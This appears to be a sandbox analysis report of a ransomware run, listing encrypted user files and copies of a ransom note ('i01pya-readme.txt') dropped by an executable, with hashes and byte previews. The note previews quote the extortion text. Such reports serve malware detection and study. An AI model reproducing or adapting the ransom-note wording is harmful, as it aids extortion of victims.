            Encrypted:false
            SSDEEP:24:uH7xy2TDuhticvM2k1YEeTyxxrAQYZiRvk/sFvNgtR9n/n7+X6zrUlvuJTniqOsP:uVFD6tiVaZ+kQY6by7n7+qzravuJTniM
            MD5:C3DFF54943996E1F38AF93FAF5143473
            SHA1:098C15CF4C4475B5A2C8CBE45547F63CD6F7C20A
            SHA-256:9A7A3AEF81429ECB5A7F5E2F83B7CCD26770CDC3B11AB0F50CCE1939DEEEBC60
            SHA-512:797065C1D56B94E2A14456E868A95B4C47351E8F97F53C697A820C6BF99D382EA2DF2D828878D845582BAFB727201B8512F38D076AFCA1026606AF552171602D
            Malicious:false
            Preview: ..z]"r....Y..GE?*...@.../.)...P.Di.9..?)..\..[...........oq)....QN]...d..}.] k. b..^T.Z..OqQ....x..5!o/..[#.+.>.T]..EOm....b.022X..CiG`..~h...?.?.;..t. ..G.d.x...di.6wD...NH3.s.8.y...GG..c=..z....or......BLf.>..e........X.Xs.......F..W(j.132(x.... .C....'m|.'..)L?..W7Q...iaWH.z..h.!e;.....a.>}.E..(I.......[<...(.,.+S..T ...l.7...........gX<.M9.....S.....d..........q.l.....8d.`..%tN.....%D....KL.....~}...Y3....4.$.o#.F+l..p.wH..@....Y.rN.0....B...b......9.".6....t.qA...q.{.q.xC..l.....:......R;O..K...-...B......&.3w.....Y. ..2.u..f.......En.mj. f...oS.....$:.g..x..L.)..C.....>)}/d&....&.\........vA@j.|+X...!S.*..{X.6....v..W..A..........h../......}or..~vk..pPA..S.ILx.....x.+..FMs.u.](...../.>..$.........]nJ......H.yq..i]H.%H.5V....R.^...j.hs.o....0H.^..i,W^.~.:...S7..j.2.....A.....3.d.X.D....p..n.&.B..+u*#:.m8.W..7.4L.....VO..Q...B...5..m..m...U0.'.X...#N..$+.2E.G{p..9.f.e3......{T...O...xO..@U.a.P+i.-.w.kWX.....gnJ.6u..b.]..%Yvn.......su.ap9...5.
            C:\Users\user\Desktop\QNCYCDFIJJ.xlsx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.811851645661818
            Encrypted:false
            SSDEEP:24:Vr39hKlSC+SIyVz8dlx95FV2gzPEPGIk9LevA0jy0AVI2lvuJTniqOsDPVtJNd:V7eyOVz8zx95qmiGITvA0hAVRvuJTni2
            MD5:19760717B5F55C795AE315EDC3BEA63B
            SHA1:6C35665413361A03E6D7A3323B27039B95B896C8
            SHA-256:51A12DBC96DA4FB5BED74849621670EECF5EE80FCFDB77B5B4323ED18ACD052B
            SHA-512:EEFC0372FEEA06D98B34CBD7E833948D93D1F29624D88313B0583D868DB9512CCA3EF6C5CF69E58A89C16577F7A8590E963D785E9CE50789A0D56B3D753F4EEC
            Malicious:false
            Preview: #.v.O.w_~.S#ks.,.........T......k5.6.......Rg..@.!....t:..!..20v....S.].%.^.*._ft.....tZ...........?..%..Im.k{w..>g....o.G........3.*pK......3...@.]...A.Z..&....(R(......Q..GAq[....HQ.Fo...6%~N....c...L...4..Q..P..........3..b..w_X.B...........m.VVs..~/.+.....w.2a>.1.M@.8...eg.....g[>..t..g_..6.*..~...5..9{......u<3..u3.6.....R .....~&z.../;..B..C..s.vU....G.....i.x)B4..6e....wh..,.\d.N].....(R....-Bd7...`=..b...B.g.j.&..x.C..]...%aN>q..9..Fr...}......]....C...;'k..."T..>0..].<o.S. R...K..Yk}.y.[..@.....R.f..R$K....K.......7.v........VqC.,%..^.H..).;yt)n.?....?3p.l....p..;8.f...j$|....hw..O%43|........?..... r.:.G.'RE..Y.....P=..T..&.M.w........$...".4.........{...5 ...S.c!V.s.*..K.H....&...m......mC~w..j}.X&/..BS...^..^.!.^.(...p....t.x6P.......a(..|...dW.,..Z.....r.O.P....e...7.......#h..aS'...<..omB.fj.{....$....xNFl.b.....0$.Inx...SK.|...h..7+j..4e.Z........?/.,...,Z....O.k.._.p..../c.U. .....:_.!.7............T.</...7.. N~X.T
            C:\Users\user\Desktop\QNCYCDFIJJ\GRXZDKKVDB.mp3
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.859102359007102
            Encrypted:false
            SSDEEP:24:o+0YhU9nk5TRafaj3MusUo2U+AgdEYz1xblvuJTniqOsDPVt/73g:OWSc7Auto2U+11LvuJTniPsDPVtk
            MD5:590BE04E714E61D48DA517E3C07CA8A1
            SHA1:BD1BDEFC05520C1962B88062ED40ADD8E366AC3D
            SHA-256:042670E6FA1290AD5CB1BDFDA31CBBCEA8B4A222C1C1BC8DF85BAE902ADFAAF3
            SHA-512:005856D5E9D2192AD05C3B88A9B3525A4968CCBA6A2B63173E4DAA6E53CE4B5E102EDF2137FD4FB4D3CAD4042E9948283770AB23EE8E7E9161E75A7C046A9A72
            Malicious:false
            Preview: ..z....-..^m.YU.4.'$...j..7...b..H.N....4WG.$....... ....~.\.....}.t...L.z$t4.Y8.)...O.y..J..:6l......U..J....#.8..&...Z8..M.\..,....QtX2t.X...-..*..#;.W.x..Kv...sV..o..,.S....Yf..g[...X....VWu...W.Dxd..w.va..A..j.C..:...-..S.Bg...L.E.O....+.<..r..;..Y.YyuF.].Q.s_....+.<-:`...I..;..6.....t....L...M...?...j..:.$.....0wkR.......6.1I....$.....q...+8...,.............q>.J#T..a.....{.%......`...4...n.c..D..,./dB.M...uo....n..i-...QM.XV...'.....z.3..D...}......._.._..g.d.a%`...M..`Q.-8.&..kL!,. ..=2+_./....zh..0p.&..)..J...5..cc.RL.p98r..(.E.......,..J.......2.m8.Qf..%..T.......D&..Vu5.dzp,Q'7.7...kH.#V.HM..'.j....a..X.n..m..'.<..#....=M....E.$a6..-,;.w.....V2K.[...&.+...7..-hLe.~^"t`..f.6]..w.......k.*/4......fo[L..X.....<?...&...hH.C..g.Y['......s...u.T./.6.H.lV%......<.o.o^.D..b...?..|...........^.!N.\...<..d.DFUS..yW0..t.K".iU@.E...S...W:..@.:b..W.,x../..i.q..G+.0`...n..6Z....K..AF.$.~.)F...HF....CZL.yQM.}.........i..N#.p.wD..<g...
            C:\Users\user\Desktop\QNCYCDFIJJ\NVWZAPQSQL.png
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.824171483791718
            Encrypted:false
            SSDEEP:24:5Zk7P8GPjjvCNdYBnxpBagSQGlYTBuO26ptotg8r+ya7YFQellvuJTniqOsDPVto:U7/PacBnldnTj26ptCg8QmQSvuJTniPj
            MD5:775307ACAB6A9C5AE6312880AAE795CC
            SHA1:065710B33422313AA60A8314CA0D69EACE473194
            SHA-256:788D1CFABA01C622E4609CD6759766FDA25CA967124E0FAC039DF59213E12C7D
            SHA-512:4FD7F3E305FFC8636E64905E5A4C706A04275BD0C7FD551E71BA11521D499B2FB9B03DC6CFFA4847738A0507467E16B8EC2883E8B64B9D49B46579D50EA0469F
            Malicious:false
            Preview: .4.a.....9...+...I2y......&V.E....,......@...qJ.>F...e%G......x...A1..V.. k&.I.A..3pc...B]/....5^.."/[.9q..=.`?.l..x"....k.9.^.%;.}q.sCp...d.Vm..P.T.:0.M."d"p..i./C.}.R...q...mHt...X..m....x.....#...e0....m....p3D.SS.~.|._[.....2.^.._......G..`'......:......r.@UKK.j....r.;XG..Pf.?....{k./...d.N.....1'tb.*u.w_....Z.....EZ.~..}..d4_...q..Q^........Kd.Q......M........8..Wp5...&{Z/..C....-....P.>.f...t_...[H.o.9@.h...P..H!/...../..;W...&.(....|ox.-N...z....V.V5.V...M..I...}.|.M./d....+.lK.....v..Hr;..=........k8.wj...m....=..ng..."gF.i...i.`..u..k..[..-X.w..D.R.5v"&.~....+H..H.i}:..r8..Kb?x....et..g...,..7.V..._.....U..L....|2..<.......<........o..6...HB.f.[..4.UL......} ...b*.97...`...;8....skRjn`.3ZV..A.9.b...S.....Jq.weA....7<....h.hq..M.z{UwEa........v...`......}L.6B.G..@..A.V........,..o.Q.d)..p.Q....u(.Q.......,~.t.K....C'.#f....(.....(....*.~cw.$.....l.............M...$.D.c4..$.....) L....?.OJ[..-fdC.Y...*g.Y...Hi.w..R..,...r3..>...^......
            C:\Users\user\Desktop\QNCYCDFIJJ\PIVFAGEAAV.pdf
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.8397410904507865
            Encrypted:false
            SSDEEP:24:RcSIrw9T84m3O0+37mHC/gGK19sIa8rbUT4/ubqzciA4lvuJTniqOsDPVtqE9u:RTO4m3O0U7iF1nakUzbuA2vuJTniPsDA
            MD5:03B713D662474CC4D56C681856802E98
            SHA1:8B4C40DE6C404EE028A8960AC364D74467F10F0B
            SHA-256:BAD1453A0FC4B23B22A34E058AE09DA0AF9EF23B308812D62BCDC8EF139E2909
            SHA-512:8AE8ABACE80B8928186D261BF95D7E62EB52288171C821434BBD69F32B112ABAD2347BE855B54A67296880BE8B0C314591D3418C3291876EDC17E9BB8229CB7B
            Malicious:false
            Preview: ..s...=t..E%.a*.s.8Iw....^.b=...0..Q...'...G...@...8|.W.^..H..8v.....H9.{..d.~z.u...1."...zt..M/=...../..2j..".Q-...8=o..*......#..;]..9..O.=.{....`.E..hn.o^'-Q....r...K3.E62iw....5.~Im...y..i.....4.\S.8i...tZr...S.x3Vc9R.I..p...U#*....F.F\.$...t..%.b..>O B...M....r....ai}..?.Zs..:m...e..g......q...w.J_-.:.6...sG!B.5XM....8..JF.6g.0.:AyMic..R...S0.C'u....<..XY...Y.+$..;..q..M.].#.mGV...^T....(.+.&.Tzh%Jjj.k..4.."T\.B.m1W..9g>...2....K.,.....?.Z.%'...t.[.5.......?.;.v+`kbz.h...;!.P....^+..i.@q.....^.._$...t.48...'~.(.>9]........S..ij.J...h3_lX...Z..W.)..R.{....y%...W.a..t.'j'..fG...L.....0_.&..jKdj4-a.L.\X.u....hT.m.).79.X...|..E.d.bCz(...5.66~W.\...0:..g.......19>ZC.BR..{.`..,..m..y...i.>..iN.U.K4..:4..L.T.sMKY......+...6.c..y..CE..>@.5.6.{.........4u....T.J..L..Q.~.jt.m.....D.. ,.2L>.>.D=.1\fp../......kh..~..N.{0......B.C...b..=..).....s..).<ie.2.\......&.T...u..C...&i......k\H....l.]J'..>..7-F..it....Z.9L(t...Tu?$.4.p...~....V.C...C.'7b..3.j..
            C:\Users\user\Desktop\QNCYCDFIJJ\PWCCAWLGRE.xlsx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.85133456441858
            Encrypted:false
            SSDEEP:24:NjYECdr2rdgokV/4QwkXmdu+TjGtjp4O0tGe2lvuJTniqOsDPVtShd1w:CVr+dnkV/4xjepatHYvuJTniPsDPVtY4
            MD5:FDD111F980BE3140625EB4D8949BB8A4
            SHA1:14B243AA30B58D264D31DE6C9B8C931067B67836
            SHA-256:5A7645F01F07182B2AEAE8EC7614F113942A3A0EE112D125A422D5DBCBEE1D95
            SHA-512:A1AA5E23F2E6D2799D0CDD2CC9A1C4A2DB8F44E7BCC5D627E64903D0FA571BB65346F88254C9919B9D50897E2E3D4B07FC089C24D2D446A8900B881AD40E8C6E
            Malicious:false
            Preview: ..>..%..x.."i....Z....E...9.2`#.yD{@.^....xdN.q.ecy......B.kRq.D.3......QvYk?.|../6.q.....)..1...u.......ir._...0&.~.".I.....h........'.k..V_....-]~.,=..}....1#xc....M.....pS.+R<..5.R..5(.......).S.*Wr....5d...04....z..N$N"V.W\._...m.....EBJ..C...k...a7..[.;[S..;.I..A2.....B.....?..]F4;'...../.L.._...i..hk..Sm..W...C.)h.7".._...U...%.1.,.....K...\.?....'.`f.G....-.({.6T.M.@;.S7...N\..A..*....h.......^..[y.....R .....C....`|.......*..2.I+...:..:).W.Xz:y....n......E.i..O.eu........B..R.-..y.'........f.&........1\.`...d.&.....yE.I.o^x..c!..,.....J..2..T&G.L..S...{......V.......8.....>bo.(.B.......9..6.s....;..."+.!slxfj.L.....NFTR......D.,..x....S.DehV...A....A3.S..(.<aK.Wg.@.\..t..Y'',..q".IH..~....Hj.|.q.m.7.X4./.,.>H..@.?..J...:...A...yp.`YP.Z.....=..pQ..*...h...d...~....JQKL1.{...H...s9...V...X...3..,-...ox...I.........-cA.%...d..h....S.X..K*.6..6A.Q..7.T.m.~.l...3...H..w.{."/.=.......C.C}.uB....n%.l..@.....3#.|uH.)..a.;y._o..
            C:\Users\user\Desktop\QNCYCDFIJJ\QNCYCDFIJJ.docx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.841621057452905
            Encrypted:false
            SSDEEP:24:3cfuaCmAGZ+jwiwPu6aQDTcUAS20RybFbv89Bsi0yyz4T6R8lvuJTniqOsDPVtjz:Mrlz+EiwZDTZx20A14si0tz4T4SvuJTj
            MD5:263D38ADCD8AD4807F58DC4748B03D51
            SHA1:879C102CB8C3D2B55AE0B00AC3C29D34D1CEC24C
            SHA-256:809829AE6D97790C95A1A65F3CE102CE5BC94DF988D758BCF2A4CC4AEBC98C14
            SHA-512:496FBAF4D9D2123D40FCB0AA798E6A7A235C8E8304DFC092F8309A597FA10334D1D0EBE97C21F26F2A2F735F2A69C5835C2562A41E563E243081CA7D8137F304
            Malicious:true
            Preview: ..n.{F....9.8...X.r..=...=t.J..MvN.@.^..:K.`..s....z.f..ahD}................._....y.\.E..C. .&.R..D.z..#...3.O~..]...4..Hv's..).B...s.o..#..4....1...Ap.`1...5].D.13..5...=9....7.mM..=.g]7.|....2...9.XG..T.A=...~.esx.f...+p~._D\PH}*.gu$.\..B......-.1.....k/E....0M...b.7.c.T.d.......5.'<...};`,.9....0....C(..k..e&.=K.)..v]Q#.8....,.b(S...?B..[wUdo.j....w^)..=....:z....%H<...L.....&.,_...sr.Yt(. M...L._.Gm......l.........4.w.......9..b.MwLpfadCPD.c.lr..4.v.x?.....Sx.s.,......1u.V.r..mF.5....7.....(!..Cw..uW..,JjHS.}...L..|_..S.Q..f.C......#..J<..t....|..&.H@Kk2.(.q..}L.I.!.8.Y.lr...........oO S....}...>.Lu...t..:.5..MO..Q.0..~...e..c.f.]IE1ZEIEC.$.....M(..k0.........../_@T....M...\@...N.......l..2.Lp.(..S...'x....k..}\!d.9<...r....^....2fg.IZ.db........n.....1C..Y..7.%.&.C...h...y.Z.LZ.,L....;e.H.U..U.w#r.?.}p.......S1.7.=....4..._..g:%.`.#....v.B...{%Ef..A.^...l}O..bGX..?...+3d.nK..../z.../|..y...l...e..J.y.c.......|.....P'..
            C:\Users\user\Desktop\QNCYCDFIJJ\SQSJKEBWDT.jpg
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.847198522118202
            Encrypted:false
            SSDEEP:24:f1j2U7pqud7EUbMvQGTaiIqTYvxvGSFPZEtVMU0W9sZbEGaFQqknvzePSlvuJTnR:f17Yud4UbM47aEV0VV0SCbEz3kvyEvuv
            MD5:C6669491CC3C1DD18122A851818F288F
            SHA1:8E9BE43599D92A2DDB888AEE34681799348A0A1A
            SHA-256:D264D2C0141868F4369AB24267DFDB014EC022FCB914655F004E6962496AECA0
            SHA-512:02553BE1EA9DD3003CFFE6AB6289932E7E80A24AFB3F0F8125B091D7BA1B46B43A1BC594BE8326716FEABC6FA13093200B5B6BF1264B998DA8313B17B134897E
            Malicious:false
            Preview: .1.D.n.{{..7.....^....../;L.....Q.j.SJK.;... z..V1.H.8.. ..4x.u6.$.a......x+-....Rd.9."......N...G%0..N....k........(.!.y..*'...Sx.&.J.N.!...j.e5...=...L..........Jh-..n9.....y..}G..V......r....a%.".X|........i....-..,...v...l.b....~.... V......R.`=..".h.jP...2.`..;.|...I...'......d%(F......}.r.tV]|@.d>..UX..bA.n...5....kIF.."%[.......^.91#...-.>......m..[mDZ.............v..o..}.+..;v&.LRI-.y.N..D....... ^ ..O.?&...y...>..Z>Rc.....ab{wNB.!.f@..../."3...../.~1..2............SVW...._....2.C.i...K...e..........E.5,.T.....8...dje.s..b`cB...|..]+.AK.b06...b....k.)......|.....{6.1L...1! Hf.g..e..`....38..L.,v.I....4...M%~.6...z..1..../nM.l.-.@......0..#..f..Z].Hx..MW...(.......b....i.!7..l.}.........q...j.U.|_x..0..?........G8...O.E... 6..#......K..}4..\......!X.:w..:....S...r..&*.......9..'.c.A..L..V.;.MY....5..md.l...vp..K.`..?...`..Fu.-DR....pU...p.3.G.&..ch...~K.a.=...|.42.5..H[..9..~...YA..>pv.x......M....`.....(....1lQ.x
            C:\Users\user\Desktop\QNCYCDFIJJ\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Desktop\SQSJKEBWDT.jpg
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.855559279721138
            Encrypted:false
            SSDEEP:24:5ZQAi5dnSVOSSyfYkE5G0HV7cZ2/SfjfrklA1/lvuJTniqOsDPVtkN:5uFdndSSygkE5G010QejfroGNvuJTniB
            MD5:1436EC1362D0DBE390FD602052DAE16B
            SHA1:39DCFF224724C347C0E6D271DB566C193CF040B5
            SHA-256:51A96D83D31CA8DC575C554CF6AFF78EC4A63EE88B90D378D3DFC045AB593FD9
            SHA-512:AAAE649EDEFE939C9474196D758BAF391DF98B0ABC82BC6E59DE75F6E309298741C28F56B36CBF6EFAD89F1A2FF54577A8528E36358BE6609B010DF2BF5DF69B
            Malicious:true
            Preview: g.p{9K."_..t....'...T..JP/o....5.l..\].h.>.=,..]...N....{..e...15.:{...xj.._...cgf..3kW..i?.....D..Xw}..M...G#.)~K>Ex.#7.........5.$<.+Gv..H...#......b.k.N)...sG-K...^.r.`t..o.....je/..a.Mum.....q,b;.;...Y.7...F......x..t!.S|.ZO..[0..hn.6..n..."....Z.\....R4`..^y{(....g.@..v..UE..x..Q..bj..Z..|..^.....U...)....h.IQ.....dS.c<._.\..V..^.=..Uu......f.........2...8A.z..u.P,.l..h......7..}...wF..'.]...X..h.(./(..G.{.........7-.G[_..8.R.....&.'.g..e...$.w.A.#..vn.0..r.o5~..?.,.^.E.w%=.....5c].P\K...Z...V..[S.s.4$..Y..H.J)..@P...=o..H.....yr\..f.#l....u..pT..D.MF..yy....S(u.2'..,.b..d...{.cZ.....L...d.-...{.W...a....Af.:.0.[q.'W.ka.{.....<.|..k... .j|...[...'Rm...W..4...?.L.....-:..(.q.9&h${(..x....G.>.j$...#qi..Yi..q.....G.."..Ufm..K.g.qM..]....L..A....{?.cl..._W.sD.A.k..._..V...."C..5..T.. .G......;.E.=..L.wJ.....B-.......c..7.Ek........\._.O..g..d_&._../l.n....QK.[..^.M.8.L+..f..`.......:2]F.q..?...:.V....4..........%.}...w...8{..~Nt.6.Y......
            C:\Users\user\Desktop\SQSJKEBWDT\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Desktop\SUAVTZKNFL.png
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.83909558368315
            Encrypted:false
            SSDEEP:24:sIEjtzeQ9ahHBtpcb1D+MEHff8hluTjHEldONxy/d5IhOk1AclvuJTniqOsDPVtD:sltn9oHKd+1Xolu/kb84F3kiyvuJTniA
            MD5:46553413A5BBBD47AB2A62649DD9AEBA
            SHA1:7E2D1C7ED26B9417F2E1D2FD526C44E67C96CBB8
            SHA-256:46FCCA060EE9611664AF30D0065EABB05BC87C5F98F108B26999A9F8C5FF22B3
            SHA-512:F19E43DE3B67D157BDEA7BB8D5C092A134A2ECCBDDB8DFC10825464AA7690FADEE1AE157A194A7AD1871F18EAC9DE58446BDD9ADD4D5E5DD170399F25F64E5FB
            Malicious:false
            Preview: .|,./. t..B5....1.W3..>d..(.30l..y[X+`.=t[4L..".....-...D..<S/zdpT.....5F.....J`...=...1.....X..S....^.>......,B<....UU...`..zC.Gs.6....p......v.)...[..' .{K..h@..1...f.|MZe;FI..A\..l}.m...7..x=.....G37.a........v...^...0....X.1y...?....k#...cRv..f...........~......\.a.+.G)Z....n.q.u4....^]Sm..c.\.!9..s..u..H....-.`....~.......X..GG..SrR..y...^.[..9r..S...........W.d.....YVE/...=`....@.....j...`..-.w...:.%..~....p...M...N....Z..m....8v.a...i...v/P.t.5..!..X{ ..^....!~.CY_a..{...\.cM.".p....0(......oTs..,..U....A.[.u#.K..5H..r..'#....._T.....`G.".:8\......%:G..THU.2..".B%.A!'.e.?...g....1..va....%...}/......T.Z.yLD~..G..'..qe.....Vt.*......J..+.....?n.....y.........<u...'.F..}s1.........K...}>..G{V... .!T.9]k.!.`..E.W.!M.'#..!.k..$..r.G.mx....p.V...}.<..e.53m.c......].......'...."CPr...vLK.3..N .......+...J.-..)........r.G..WD.Q...H...._.U..K.-+...S{........8+.t...v...).[T.y..C.....BuC.G.AU.-.'.:....f....kj.9..>"p.......O:....a
            C:\Users\user\Desktop\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Documents\BJZFPPWAPT.mp3
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.82527827166152
            Encrypted:false
            SSDEEP:24:/mAk15Ukja1BcG0r/CIblkSiiCpqiSytkUZmr5OIZglvuJTniqOsDPVtS3:tk1akhvKSypqSvZvI0vuJTniPsDPVtS3
            MD5:B39136B9499C40AA0286A63AEB78AB88
            SHA1:83A4C2645AB2A4F9EC73AC8A7C4BAB7576CFE82F
            SHA-256:DE0C8FA46B5456E9EC58B13296DB4FA941040BB277CB19AB8D7625E1AE646EB6
            SHA-512:ADCCC991285BFFC11C9EFD797A615DB2DB2CC43E414F95DC20766C65C1189A3FFBFC5F198E78B9B6C2E605FDC95C9D6D401AF4BCE1D900FF8C60D856F90E529C
            Malicious:false
